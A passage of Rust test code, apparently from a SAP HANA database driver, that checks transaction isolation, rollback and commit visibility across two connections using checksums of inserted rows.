isolation: &str, ) -> HdbResult<()> { log::info!("Test isolation level {}", isolation); connection1.exec(format!("SET TRANSACTION ISOLATION LEVEL {isolation}",))?; log::info!( "verify that we can read uncommitted data in same connection, but not on other connection" ); connection1.multiple_statements_ignore_err(vec!["drop table TEST_TRANSACTIONS"]); let stmts = vec![ "create table TEST_TRANSACTIONS (strng NVARCHAR(100) primary key, nmbr INT, dt LONGDATE)", "insert into TEST_TRANSACTIONS (strng,nmbr,dt) values('Hello',1,'01.01.1900')", "insert into TEST_TRANSACTIONS (strng,nmbr,dt) values('world!',20,'01.01.1901')", "insert into TEST_TRANSACTIONS (strng,nmbr,dt) values('I am here.',300,'01.01.1902')", ]; connection1.multiple_statements(stmts)?; connection1.commit()?; let get_checksum = |conn: &mut Connection| { let resultset = conn .query("select sum(nmbr) from TEST_TRANSACTIONS") .unwrap(); let checksum: usize = resultset.try_into().unwrap(); checksum }; // read above three lines assert_eq!(get_checksum(connection1), 321); let mut connection2 = connection1.spawn()?; // read them also from a new connection assert_eq!(get_checksum(&mut connection2), 321); let mut prepared_statement1 = connection1.prepare("insert into TEST_TRANSACTIONS (strng,nmbr,dt) values(?,?,?)")?; prepared_statement1.add_batch(&("who", 4000, NaiveDate::from_ymd_opt(1903, 1, 1).unwrap()))?; prepared_statement1.add_batch(&( "added", 50_000, NaiveDate::from_ymd_opt(1903, 1, 1).unwrap(), ))?; prepared_statement1.add_batch(&( "this?", 600_000, NaiveDate::from_ymd_opt(1903, 1, 1).unwrap(), ))?; prepared_statement1.execute_batch()?; // read the new lines from connection1 assert_eq!(get_checksum(connection1), 654_321); // fail to read the new lines from connection2 assert_eq!(get_checksum(&mut connection2), 321); // fail to read the new lines from connection1 after rollback connection1.rollback()?; assert_eq!(get_checksum(connection1), 321); // add and read the new lines from connection1 prepared_statement1.add_batch(&("who", 4000, NaiveDate::from_ymd_opt(1903, 1, 1).unwrap()))?; prepared_statement1.add_batch(&( "added", 50_000, NaiveDate::from_ymd_opt(1903, 1, 1).unwrap(), ))?; prepared_statement1.add_batch(&( "this?", 600_000, NaiveDate::from_ymd_opt(1903, 1, 1).unwrap(), ))?; prepared_statement1.execute_batch()?; assert_eq!(get_checksum(connection1), 654_321); // fail to read the new lines from connection2 assert_eq!(get_checksum(&mut connection2), 321); // after commit, read the new lines also from connection2 connection1.commit()?; assert_eq!(get_checksum(&mut connection2), 654_321); Ok(()) }